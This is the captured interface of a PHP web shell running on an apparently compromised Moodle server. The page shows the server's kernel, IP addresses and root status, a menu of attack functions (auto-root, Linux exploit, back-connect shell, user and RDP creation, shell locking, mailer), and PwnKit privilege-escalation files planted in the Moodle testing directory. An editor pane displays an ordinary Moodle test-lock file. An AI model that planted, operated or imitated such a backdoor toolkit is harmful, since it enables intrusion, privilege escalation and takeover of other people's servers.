Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
testing /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
nasty_strings.php
3.68
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
test_lock.php
4.11
KB
-rwxrwxrwx
tests_finder.php
6.95
KB
-rwxrwxrwx
util.php
38.57
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_lock.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests lock * * @package core * @category test * @copyright 2012 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(__DIR__.'/../lib.php'); /** * Tests lock to prevent concurrent executions of the same test suite * * @package core * @category test * @copyright 2012 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class test_lock { /** * @var array Array of resource used for prevention of parallel test execution */ protected static $lockhandles = array(); /** * Prevent parallel test execution - this can not work in Moodle because we modify database and dataroot. * * Note: do not call manually! * * @internal * @static * @param string $framework phpunit|behat * @param string $lockfilesuffix A sub-type used by the framework * @return void */ public static function acquire(string $framework, string $lockfilesuffix = '') { global $CFG; $datarootpath = $CFG->{$framework . '_dataroot'} . '/' . $framework; $lockfile = "{$datarootpath}/lock{$lockfilesuffix}"; if (!file_exists($datarootpath)) { // Dataroot not initialised yet. return; } if (!file_exists($lockfile)) { file_put_contents($lockfile, 'This file prevents concurrent execution of Moodle ' . $framework . ' tests'); testing_fix_file_permissions($lockfile); } $lockhandlename = self::get_lock_handle_name($framework, $lockfilesuffix); if (self::$lockhandles[$lockhandlename] = fopen($lockfile, 'r')) { $wouldblock = null; $locked = flock(self::$lockhandles[$lockhandlename], (LOCK_EX | LOCK_NB), $wouldblock); if (!$locked) { if ($wouldblock) { echo "Waiting for other test execution to complete...\n"; } $locked = flock(self::$lockhandles[$lockhandlename], LOCK_EX); } if (!$locked) { fclose(self::$lockhandles[$lockhandlename]); self::$lockhandles[$lockhandlename] = null; } } register_shutdown_function(['test_lock', 'release'], $framework, $lockfilesuffix); } /** * Note: do not call manually! * @internal * @static * @param string $framework phpunit|behat * @param string $lockfilesuffix A sub-type used by the framework * @return void */ public static function release(string $framework, string $lockfilesuffix = '') { $lockhandlename = self::get_lock_handle_name($framework, $lockfilesuffix); if (self::$lockhandles[$lockhandlename]) { flock(self::$lockhandles[$lockhandlename], LOCK_UN); fclose(self::$lockhandles[$lockhandlename]); self::$lockhandles[$lockhandlename] = null; } } /** * Get the name of the lock handle stored in the class. * * @param string $framework * @param string $lockfilesuffix * @return string */ protected static function get_lock_handle_name(string $framework, string $lockfilesuffix): string { $lockhandlepieces = [$framework]; if (!empty($lockfilesuffix)) { $lockhandlepieces[] = $lockfilesuffix; } return implode('%', $lockhandlepieces); } }
Close